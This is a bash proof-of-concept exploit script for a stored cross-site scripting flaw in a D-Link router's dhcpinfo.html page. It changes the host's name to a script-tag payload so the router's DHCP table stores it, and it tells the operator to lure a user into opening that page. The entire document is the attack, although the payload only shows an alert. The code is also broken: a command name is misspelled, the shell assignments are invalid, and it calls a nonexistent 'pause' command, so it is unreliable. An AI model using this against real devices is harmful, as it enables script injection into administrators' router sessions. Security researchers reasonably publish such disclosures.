#!/bin/bash   # Written and discovered by Yuval tisf Nativ # The page 'dhcpinfo.html' will list all machines connected to the network with hostname,  # IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname.    # Checks if you are root if [ "$(id -u)" != "0" ]; then    echo "Please execute this script as root"    exit 1 fi    # You're XSS here xss = "\"<script>alert('pwned');</script>"  # backup current hostname currhost = `hostname`   # Bannering echo ""echo "      D-Link Persistent XSS by tisf"echo ""echo "The page dhcpinfo.html is the vulnerable page."echo "Ask the user to access it and your persistent XSS will be triggered."echo ""  # Change hostname to XSS sudo hosname $xss   # Restore previous hostname on exit pause "Type any key to exit and restore your previous hostname."sudo hostname $currhost